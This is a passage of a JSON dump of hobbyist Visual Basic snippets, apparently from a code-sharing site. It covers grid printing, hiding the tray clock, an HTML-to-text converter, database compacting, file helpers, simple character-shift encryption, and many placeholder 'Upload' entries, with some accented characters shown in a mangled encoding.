iMaxRow = 57\n End If\n \n ' calcula el n├║mero de p├íginas\n If pGrid.Rows Mod iMaxRow = 0 Then\n iPaginas = pGrid.Rows \\ iMaxRow\n Else\n iPaginas = pGrid.Rows \\ iMaxRow + 1\n End If\n \n msfGrid.Rows = iMaxRow\n \n msfGrid.Cols = pGrid.Cols\n For i = 0 To pGrid.Cols - 1\n msfGrid.ColWidth(i) = pGrid.ColWidth(i)\n Next\n \n screen.mousepointer = 11 ' hourglass\n \n ' print some logo -> comment or change as desired\n Printer.PaintPicture fMainForm.ImageList1.ListImages(1).Picture, 0, 0, 4300, 600\n ' imprime t├¡tulo\n Printer.CurrentY = 650\n Printer.FontName = \"Courier New\"\n Printer.FontBold = True\n Printer.FontSize = 12\n Printer.Print sTitulo\n Printer.Print\n \n ' justifica a la derecha fecha de impresi├│n\n If pHorizontal = True Then\n Printer.CurrentX = 10000\n Else\n Printer.CurrentX = 7000\n End If\n Printer.CurrentY = 0\n Printer.FontSize = 10\n Printer.Print Now & \" - P├íg 1 de \" & iPaginas\n \n For i = 0 To pGrid.Rows - 2 + iPaginas\n If i Mod iMaxRow = 0 And i > 0 Then\n With msfGrid\n .Row = 0\n .Col = 0\n .ColSel = 0\n .RowSel = 0\n If pHorizontal Then\n Printer.PaintPicture .Picture, 20, 1250, 15000, 10350\n Else\n Printer.PaintPicture .Picture, 20, 1250, 11400, 13950\n End If\n End With\n Printer.NewPage\n msfGrid.Clear\n For j = 0 To msfGrid.Cols - 1\n ' restablece t├¡tulos\n msfGrid.TextMatrix(0, j) = pGrid.TextMatrix(0, j)\n Next\n \n ' print logo\n Printer.PaintPicture fMainForm.ImageList1.ListImages(23).Picture, 0, 0, 4300, 600\n \n Printer.CurrentY = 650\n Printer.FontSize = 12\n Printer.Print sTitulo\n Printer.Print\n ' justifica a la derecha fecha de impresi├│n\n If pHorizontal = True Then\n Printer.CurrentX = 10000\n Else\n Printer.CurrentX = 7000\n End If\n Printer.CurrentY = 0\n Printer.FontSize = 10\n Printer.Print Now & \" - P├íg \" & i \\ iMaxRow + 1 & \" de \" & iPaginas\n \n i = i + 1 ' deja t├¡tulos\n End If\n For j = 0 To msfGrid.Cols - 1\n msfGrid.TextMatrix(i Mod iMaxRow, j) = pGrid.TextMatrix(i - i \\ iMaxRow, j)\n Next\n Next\n \n With msfGrid\n .Row = 0\n .Col = 0\n .ColSel = 0\n .RowSel = 0\n If pHorizontal Then\n Printer.PaintPicture .Picture, 20, 1250, 15000, 10350\n Else\n Printer.PaintPicture .Picture, 20, 1250, 11400, 13950\n End If\n End With\n \n Printer.EndDoc\n MsgBox sTitulo & vbCrLf & \"Se ha(n) enviado \" & iPaginas & \" p├ígina(s) a la impresora \" & Printer.DeviceName, vbInformation, Printer.Port\n \nsalir:\n Set msfGrid = Nothing\n pubCursorDefault\n Exit Sub\n \nErrorImpresion:\n Printer.KillDoc\n MsgBox \"Verify printer\", vbCritical, \"Printer Error\"\n Resume salir\nEnd Sub\n"},{"WorldId":1,"id":8190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8204,"LineNumber":1,"line":"'Create one form, two buttons and one module\n'Put this code in the module\nPublic Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPublic Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\nPublic Declare Function ShowWindow Lib \"user32\" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long\nPublic Function HideClock()\nDim FindClass As Long, FindParent As Long, Handle As Long\nFindClass& = FindWindow(\"Shell_TrayWnd\", vbNullString)\nFindParent& = FindWindowEx(FindClass&, 0, \"TrayNotifyWnd\", vbNullString)\nHandle& = FindWindowEx(FindParent&, 0, \"TrayClockWClass\", vbNullString)\nShowWindow Handle&, 0\nEnd Function\nPublic Function ShowClock()\nDim FindClass As Long, FindParent As Long, Handle As Long\nFindClass& = FindWindow(\"Shell_TrayWnd\", vbNullString)\nFindParent& = FindWindowEx(FindClass&, 0, \"TrayNotifyWnd\", vbNullString)\nHandle& = FindWindowEx(FindParent&, 0, \"TrayClockWClass\", vbNullString)\nShowWindow Handle&, 1\nEnd Function\n'Put his code in the form\nPrivate Sub Command1_Click()\nHideClock\nEnd Sub\nPrivate Sub Command2_Click()\nShowClock\nEnd Sub\n"},{"WorldId":1,"id":8210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8214,"LineNumber":1,"line":"Function get_filename_only(filepath)\nFor x = Len(filepath) To 1 Step -1\n If Mid(filepath, x, 1) = \"\\\" Then\n get_filename_only = Right(filepath, Len(filepath) - x)\n Exit Function\n End If\nNext x\nget_filename_only = \"Please check filepath it may be incorrect)\"\nEnd Function"},{"WorldId":1,"id":8215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8219,"LineNumber":1,"line":"'Dont erase the ,vbHide\n'If you do it then an ugly DOS box will be shown when your launching the link\n\n'For homepage\nShell (\"Start http://www.FireStorm.Now.Nu\"), vbHide\n'For mail\nShell (\"Start mailto:FireStorm@GoToMy.com\"), vbHide"},{"WorldId":1,"id":8221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8236,"LineNumber":1,"line":"Function LineLen(x1, y1, x2, y2)\n\t'This function will simply give you the length\n\t'of a line using the coordinates of its two\n\t'endpoints.\n\tDim A, B As Single\n\tA = Abs(x2 - x1)\n\tB = Abs(y2 - y1)\n\tLineLen = Sqr(A ^ 2 + B ^ 2)\nEnd Function\n\nFunction Arccos(X As Single)\n\tIf X = 1 Then Arccos = 0: Exit Function\n\tArccos = Atn(-X / Sqr(-X * X + 1)) + 2 * Atn(1)\nEnd Function\n\n\nPublic Function CalcAnAngle(CenterX, CenterY, x2, y2, x3, y3)\n\t'This function will take three coordinates and\n\t'automagically turn them into an angle.\n\t'The angle is the one located at CenterX, CenterY\n\t'For example:\n\t' / X2,Y2\n\t' /\n\t' /\n\t' < CenterX,CenterY\n\t' \\\n\t' \\\n\t' \\ X3,Y3\n\t'CalcAnAngle will return the angle, in degrees,\n\t'of the center vertex.\n\tOn Error Resume Next\n\tDim SideA, SideB, SideC As Single\n\tSideC = lineLen(CenterX, CenterY, x2, y2)\n\tSideB = lineLen(CenterX, CenterY, x3, y3)\n\tSideA = lineLen(x3, y3, x2, y2)\n\ta = Arccos((SideA ^ 2 - SideB ^ 2 - SideC ^ 2) / (SideB * SideC * -2))\n\tCalcAnAngle = a * (180 / 3.141)\n\t'VB seems to like to work in confusing units\n\t'called Radians instead of good ol' degrees.\n\t'Multiplying by (180 / 3.141) converts radians\n\t'to degrees.\n\nEnd Function"},{"WorldId":1,"id":8247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8252,"LineNumber":1,"line":"' The is the function to set a form always on top\nPrivate Sub OnTop(frm As Form, OnTop As Boolean)\n If OnTop = True Then\n SetWindowPos frm.hWnd, SWP_TOPMOST, 0, 0, 0, 0, &H1\n Else\n SetWindowPos frm.hWnd, SWP_NOTOPMOST, 0, 0, 0, 0, &H1\n End If\nEnd Sub\n' Paints the cursor image to the picturebox\nPrivate Sub PaintCursor()\n Dim pt As POINTAPI\n Dim hWnd As Long\n Dim dwThreadID, dwCurrentThreadID As Long\n Dim hCursor\n \n ' Get the position of the cursor\n GetCursorPos pt\n ' Then get the handle of the window the cursor is over\n hWnd = WindowFromPoint(pt.x, pt.y)\n \n ' Get the PID of the thread\n ThreadID = GetWindowThreadProcessId(hWnd, vbNull)\n \n ' Get the thread of our program\n CurrentThreadID = App.ThreadID\n \n ' If the cursor is \"owned\" by a thread other than ours, attach to that thread and get the cursor\n If CurrentThreadID <> ThreadID Then\n AttachThreadInput CurrentThreadID, ThreadID, True\n hCursor = GetCursor()\n AttachThreadInput CurrentThreadID, ThreadID, False\n \n ' If the cursor is owned by our thread, use GetCursor() normally\n Else\n hCursor = GetCursor()\n End If\n \n ' Use DrawIcon to draw the cursor to picCursor\n DrawIcon picCursor.hdc, 0, 0, hCursor\nEnd Sub\nPrivate Sub cmdExit_Click()\n ' Cleanup\n tmrCursor.Enabled = False\n OnTop frmMain, False\n \n ' Exit\n End\nEnd Sub\nPrivate Sub Form_Load()\n ' Make the form always on top\n OnTop frmMain, True\n \n ' Move frmMain to the upper-left corner of the screen\n frmMain.Move 0, 0\nEnd Sub\nPrivate Sub tmrCursor_Timer()\n ' Clear the picturebox before drawing another cursor image\n picCursor.Cls\n \n ' Draw the cursor\n PaintCursor\nEnd Sub"},{"WorldId":1,"id":8259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8274,"LineNumber":1,"line":"'## To use:\nprivate sub command1_click()\n msgbox compressdatabase (\"C:\\database.mdb\") '## Replace with path to database\nend sub\nPublic Function CompressDatabase(mSourceDB As String) As Boolean\non error goto Err\n Dim JRO As JRO.JetEngine\n Set JRO = New JRO.JetEngine\n \n Dim srcDB As String\n Dim destDB As String\n \n srcDB = mSource\n destDB = \"backup.mdb\"\n \n JRO.CompactDatabase \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & srcDB & \";Jet OLEDB:Database Password=\" & PASSWORD, _\n \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & destDB & \";Jet OLEDB:Database Password=\" & PASSWORD & \";Jet OLEDB:Engine Type=4\"\n Kill srcDB\n DoEvents\n Name destDB As srcDB\n compressdatabase = true\n exit function\nErr:\n compressdatabase = false\nEnd Function\n"},{"WorldId":1,"id":8277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8278,"LineNumber":1,"line":"Sub Pause (ByVal hInterval As Double)\nDim hCurrent As Long\nhInterval = hInterval * 1000\nhCurrent = GetTickCount()\nDo While GetTickCount() - hCurrent < hInterval\n DoEvents\nLoop\nEnd Sub\n"},{"WorldId":1,"id":8281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8349,"LineNumber":1,"line":"Function ShellAndWait(FileName As String)\nDim objScript\nOn Error GoTo ERR_OpenForEdit\nSet objScript = CreateObject(\"WScript.Shell\")\n' Open a file for editing in Notepad and wait for return.\n'The second parameter (after the FileName) is the Display Mode (normal w/focus,\n'minimized...even hidden. For more info visit:\n'http://msdn.microsoft.com/scripting/windowshost/doc/wsMthRun.htm\n' The third parameter is the \"Wait for return\" parameter. This should be set to\n' True for the Wait.\nShellApp = objScript.Run(FileName, 1, True)\nShellAndWait = True\nEXIT_OpenForEdit:\n Exit Function\nERR_OpenForEdit:\n MsgBox Err.Description\n GoTo EXIT_OpenForEdit\nEnd Function\n"},{"WorldId":1,"id":8355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8363,"LineNumber":1,"line":"rem This function will write a file.\nrem Usage: WriteStuff <filename w/path>,<text to write>\nFunction WriteStuff(fileout,textout)\nDim filesys,filetxt\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet filetxt = filesys.CreateTextFile(fileout,True)\nfiletxt.WriteLine(textout)\nfiletxt.Close\nEnd Function\nrem This function will read the contents of a textfile.\nrem Usage: buffer = ReadStuff(<filename w/ path>)\nFunction ReadStuff(fileout)\nDim filesys,filetxt\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet filetxt = filesys.OpenTextFile(fileout)\nReadStuff = filetxt.ReadAll\nfiletxt.Close\nEnd Function"},{"WorldId":1,"id":8364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8392,"LineNumber":1,"line":"'HTML2Text Copyright ┬⌐ 2000 Benjamin Schulte\n' (benni@bennisoft.de)\nPublic Function HTML2Text(ByVal OrigHTML$) As String\nOn Error Resume Next\nIf InStr(LCase$(OrigHTML$), \"<body\") > 0 Then\n OrigHTML$ = Mid$(OrigHTML$, InStr(LCase$(OrigHTML$), \"<body\"))\n OrigHTML$ = Mid$(OrigHTML$, InStr(OrigHTML$, \">\") + 1)\n If InStr(LCase$(OrigHTML$), \"</body>\") > 0 Then _\n OrigHTML$ = Left$(OrigHTML$, InStr(LCase$(OrigHTML$), \"</body>\") - 1)\nEnd If\nDo While Len(OrigHTML$)\n CurrChar$ = Left$(OrigHTML$, 1)\n OrigHTML$ = Mid$(OrigHTML$, 2)\n Select Case CurrChar$\n Case \" \"\n OrigHTML$ = LTrim$(OrigHTML$)\n Case vbCr, vbLf\n CurrChar$ = \"\"\n If Left$(OrigHTML$, 1) = vbLf Then OrigHTML$ = Mid$(OrigHTML$, 2)\n OrigHTML$ = LTrim$(OrigHTML$)\n Case \"<\"\n CurrChar$ = \"\"\n If InStr(OrigHTML$, \">\") > 0 Then\n CurrChar$ = Left$(OrigHTML$, InStr(OrigHTML$, \">\") - 1)\n OrigHTML$ = Mid$(OrigHTML$, InStr(OrigHTML$, \">\") + 1)\n \n Select Case LCase$(CurrChar$)\n Case \"p\", \"/div\"\n CurrChar$ = vbCrLf + vbCrLf\n Case \"br\"\n CurrChar$ = vbCrLf\n Case Else\n CurrChar$ = \"\"\n End Select\n End If\n Case \"&\"\n If InStr(OrigHTML$, \";\") > 0 And InStr(OrigHTML$, \";\") < InStr(OrigHTML$, \" \") Then\n CurrChar$ = Left$(OrigHTML$, InStr(OrigHTML$, \";\") - 1)\n OrigHTML$ = Mid$(OrigHTML$, InStr(OrigHTML$, \";\") + 1)\n \n Select Case CurrChar$\n Case \"amp\"\n CurrChar$ = \"&\"\n Case \"quot\"\n CurrChar$ = \"\"\"\"\n Case \"lt\"\n CurrChar$ = \"<\"\n Case \"gt\"\n CurrChar$ = \">\"\n Case \"nbsp\"\n CurrChar$ = \" \"\n Case \"Auml\"\n CurrChar$ = \"├ä\"\n Case \"auml\"\n CurrChar$ = \"├ñ\"\n Case \"iexcl\"\n CurrChar$ = \"┬í\"\n Case \"cent\"\n CurrChar$ = \"┬ó\"\n Case \"pound\"\n CurrChar$ = \"┬ú\"\n Case \"curren\"\n CurrChar$ = \"┬ñ\"\n Case \"yen\"\n CurrChar$ = \"┬Ñ\"\n Case \"brvbar\"\n CurrChar$ = \"|\"\n Case \"sect\"\n CurrChar$ = \"┬º\"\n Case \"uml\"\n CurrChar$ = \"┬¿\"\n Case \"copy\"\n CurrChar$ = \"┬⌐\"\n Case \"ordf\"\n CurrChar$ = \"┬¬\"\n Case \"laquo\"\n CurrChar$ = \"┬½\"\n Case \"not\"\n CurrChar$ = \"┬¼\"\n Case \"reg\"\n CurrChar$ = \"┬«\"\n Case \"macr\"\n CurrChar$ = \"┬»\"\n Case \"deg\"\n CurrChar$ = \"┬░\"\n Case \"plusm\"\n CurrChar$ = \"┬▒\"\n Case \"sup2\"\n CurrChar$ = \"┬▓\"\n Case \"sup3\"\n CurrChar$ = \"┬│\"\n Case \"acute\"\n CurrChar$ = \"┬┤\"\n Case \"micro\"\n CurrChar$ = \"┬╡\"\n Case \"para\"\n CurrChar$ = \"┬╢\"\n Case \"middot\"\n CurrChar$ = \"┬╖\"\n Case \"cedil\"\n CurrChar$ = \"┬╕\"\n Case \"sup1\"\n CurrChar$ = \"┬╣\"\n Case \"ordm\"\n CurrChar$ = \"┬║\"\n Case \"raquo\"\n CurrChar$ = \"┬╗\"\n Case \"frac14\"\n CurrChar$ = \"┬╝\"\n Case \"frac12\"\n CurrChar$ = \"┬╜\"\n Case \"frac34\"\n CurrChar$ = \"┬╛\"\n Case \"iquest\"\n CurrChar$ = \"┬┐\"\n Case \"Agrave\"\n CurrChar$ = \"├Ç\"\n Case \"Aacute\"\n CurrChar$ = \"├ü\"\n Case \"Acirc\"\n CurrChar$ = \"├é\"\n Case \"Atilde\"\n CurrChar$ = \"├â\"\n Case \"Aring\"\n CurrChar$ = \"├à\"\n Case \"AElig\"\n CurrChar$ = \"├å\"\n Case \"Ccedil\"\n CurrChar$ = \"├ç\"\n Case \"Egrave\"\n CurrChar$ = \"├ê\"\n Case \"Eacute\"\n CurrChar$ = \"├ë\"\n Case \"Ecirc\"\n CurrChar$ = \"├è\"\n Case \"Euml\"\n CurrChar$ = \"├ï\"\n Case \"Igrave\"\n CurrChar$ = \"├î\"\n Case \"Iacute\"\n CurrChar$ = \"├ì\"\n Case \"Icirc\"\n CurrChar$ = \"├Ä\"\n Case \"Iuml\"\n CurrChar$ = \"├Å\"\n Case \"ETH\"\n CurrChar$ = \"├É\"\n Case \"Ntilde\"\n CurrChar$ = \"├æ\"\n Case \"Ograve\"\n CurrChar$ = \"├Æ\"\n Case \"Oacute\"\n CurrChar$ = \"├ô\"\n Case \"Ocirc\"\n CurrChar$ = \"├ö\"\n Case \"Otilde\"\n CurrChar$ = \"├ò\"\n Case \"Ouml\"\n CurrChar$ = \"├û\"\n Case \"times\"\n CurrChar$ = \"├ù\"\n Case \"Oslash\"\n CurrChar$ = \"├ÿ\"\n Case \"Ugrave\"\n CurrChar$ = \"├Ö\"\n Case \"Uacute\"\n CurrChar$ = \"├Ü\"\n Case \"Ucirc\"\n CurrChar$ = \"├¢\"\n Case \"Uuml\"\n CurrChar$ = \"├£\"\n Case \"Yacute\"\n CurrChar$ = \"├¥\"\n Case \"THORN\"\n CurrChar$ = \"├₧\"\n Case \"szlig\"\n CurrChar$ = \"├ƒ\"\n Case \"agrave\"\n CurrChar$ = \"├á\"\n Case \"aacute\"\n CurrChar$ = \"├í\"\n Case \"acirc\"\n CurrChar$ = \"├ó\"\n Case \"atilde\"\n CurrChar$ = \"├ú\"\n Case \"aring\"\n CurrChar$ = \"├Ñ\"\n Case \"aelig\"\n CurrChar$ = \"├ª\"\n Case \"ccedil\"\n CurrChar$ = \"├º\"\n Case \"egrave\"\n CurrChar$ = \"├¿\"\n Case \"eacute\"\n CurrChar$ = \"├⌐\"\n Case \"ecirc\"\n CurrChar$ = \"├¬\"\n Case \"euml\"\n CurrChar$ = \"├½\"\n Case \"igrave\"\n CurrChar$ = \"├¼\"\n Case \"iacute\"\n CurrChar$ = \"├¡\"\n Case \"icirc\"\n CurrChar$ = \"├«\"\n Case \"iuml\"\n CurrChar$ = \"├»\"\n Case \"eth\"\n CurrChar$ = \"├░\"\n Case \"ntilde\"\n CurrChar$ = \"├▒\"\n Case \"ograve\"\n CurrChar$ = \"├▓\"\n Case \"oacute\"\n CurrChar$ = \"├│\"\n Case \"ocirc\"\n CurrChar$ = \"├┤\"\n Case \"otilde\"\n CurrChar$ = \"├╡\"\n Case \"ouml\"\n CurrChar$ = \"├╢\"\n Case \"divide\"\n CurrChar$ = \"├╖\"\n Case \"oslash\"\n CurrChar$ = \"├╕\"\n Case \"ugrave\"\n CurrChar$ = \"├╣\"\n Case \"uacute\"\n CurrChar$ = \"├║\"\n Case \"ucirc\"\n CurrChar$ = \"├╗\"\n Case \"uuml\"\n CurrChar$ = \"├╝\"\n Case \"yacute\"\n CurrChar$ = \"├╜\"\n Case \"thorn\"\n CurrChar$ = \"├╛\"\n Case \"yuml\"\n CurrChar$ = \"├┐\"\n Case Else\n CurrChar$ = \"&\" + CurrChar$ + \";\"\n End Select\n End If\n End Select\n NoHTML$ = NoHTML$ + CurrChar$\nLoop\nHTML2Text = NoHTML$\nEnd Function"},{"WorldId":1,"id":8398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8419,"LineNumber":1,"line":"Private Sub cmdFatalAppExit_Click()\n FatalAppExit 0, \"You can replace this message with one of your own.\" & vbLf & vbLf & \"Multiple lines are allowed too!\"\nEnd Sub\nPrivate Sub cmdFatalExit_Click()\n FatalExit 1\nEnd Sub"},{"WorldId":1,"id":8420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8459,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim x As String\nx = InputBox(\"enter a number u would like To count down from\")\nDo While x > 0\nx = x - 1\nIf x = 0 Then\nMsgBox \"Thats all\"\nElse\nMsgBox x\nEnd If\nLoop\nEnd Sub"},{"WorldId":1,"id":8465,"LineNumber":1,"line":"Private Sub Command1_Click()\nthetext = Text1.Text\nincremnttxt = findchr(thetext)\nText2.Text = incremnttxt\nEnd Sub\nFunction findchr(ByVal thetext As String)\nDim strlen As Integer\nDim A1() As String\nstrlen = Len(thetext) ' number of characters\nReDim A1(strlen)\nFor L = 1 To UBound(A1) ' parse individual characters\nA1(L) = Mid(thetext, L, 1)\nNext L\n \nFor nxtchar = 1 To UBound(A1) ' cyle through characters increment ascii value\nvalchar = (UBound(A1)) - (nxtchar - 1)\n If Asc(A1(valchar)) >= 65 And Asc(A1(valchar)) <= 90 Or _\n Asc(A1(valchar)) >= 97 And Asc(A1(valchar)) <= 122 Then ' upper and lower alpha characters\n If Asc(A1(valchar)) = 90 Or Asc(A1(valchar)) = 122 Then\n If Asc(A1(valchar)) = 90 Then\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"AA\"\n Else\n A1(valchar) = \"A\"\n End If\n Else\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"aa\"\n Else\n A1(valchar) = \"a\"\n End If\n End If\n Else\n A1(valchar) = Chr(Asc(A1(valchar)) + 1) ' increment ascii by one\n GoTo noneedto:\n End If\n ElseIf Asc(A1(valchar)) > 47 And Asc(A1(valchar)) < 58 Then 'numeric values\n If Asc(A1(valchar)) = 57 Then\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"10\"\n Else\n A1(valchar) = \"0\"\n End If\n Else\n A1(valchar) = Chr(Asc(A1(valchar)) + 1) ' increment ascii by one\n GoTo noneedto:\n End If\n End If\nNext nxtchar\nnoneedto: 'once a char is increment and is not carried over no need to increment all chars\nFor mke = LBound(A1) To UBound(A1) ' make text\nfindchr = Trim$(findchr) & A1(mke)\nNext mke\nEnd Function\n\n"},{"WorldId":1,"id":8468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8527,"LineNumber":1,"line":"Function TEncrypt (iString)\nOn Error GoTo uhoh\nQ = \"\"\na = randomnumber(9) + 32\nb = randomnumber(9) + 32\nc = randomnumber(9) + 32\nd = randomnumber(9) + 32\nQ = Chr(a) & Chr(c) & Chr(b)\ne = 1\nFor x = 1 To Len(iString)\nf = Mid(iString, x, 1)\n \n If e = 1 Then Q = Q & Chr(Asc(f) + a)\n If e = 2 Then Q = Q & Chr(Asc(f) + c)\n If e = 3 Then Q = Q & Chr(Asc(f) + b)\n If e = 4 Then Q = Q & Chr(Asc(f) + d)\ne = e + 1\nIf e > 4 Then e = 1\nNext x\nQ = Q & Chr(d)\nTEncrypt = Q\nExit Function\nuhoh:\nTEncrypt = \"Error: Invalid text to Encrypt\"\nExit Function\nEnd Function\n\nFunction TDecrypt (iString)\nOn Error GoTo uhohs\nQ = \"\"\nzz = Left(iString, 3)\na = Left(zz, 1)\nb = Mid(zz, 2, 1)\nc = Mid(zz, 3, 1)\nd = Right(iString, 1)\na = Int(Asc(a)) 'key 1\nb = Int(Asc(b)) 'key 2\nc = Int(Asc(c)) 'key 3\nd = Int(Asc(d)) 'key 4\ntxt = Left(iString, Len(iString) - 1)\ntxt2 = Mid(txt, 4, Len(txt)) 'encrypted text\ne = 1\nFor x = 1 To Len(txt2)\nf = Mid(txt2, x, 1)\n \n If e = 1 Then Q = Q & Chr(Asc(f) - a)\n If e = 2 Then Q = Q & Chr(Asc(f) - b)\n If e = 3 Then Q = Q & Chr(Asc(f) - c)\n If e = 4 Then Q = Q & Chr(Asc(f) - d)\ne = e + 1\nIf e > 4 Then e = 1\nNext x\nTDecrypt = Q\nExit Function\nuhohs:\nTDecrypt = \"Error: Invalid text to Decrypt\"\nExit Function\nEnd Function\n\nFunction randomnumber (finished)\nRandomize\nrandomnumber = Int((Val(finished) * Rnd) + 1)\nEnd Function\n"},{"WorldId":1,"id":8529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8534,"LineNumber":1,"line":"Public Sub SwapStr(Var1 As String, Var2 As String)\n' This is particularly useful in programs with lots of\n' data analysis. Easily edited for any variant data\n' manipulating. I'm currently using this coding and\n' some vector codes to update my ThreeD Render Engine\n' (http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=8426)\n' a little advertising on my part =)...\n' Using this routine is faster than\n ' sTmp = Var1\n ' Var1 = Var2\n ' Var2 = sTmp\n' By a factor up 12 for really long values !!\nDim lSaveAddr As Long\n \n' Save memory descriptor location for Var1\nlSaveAddr = StrPtr(Var1)\n \n' Copy memory descriptor of Var2 to 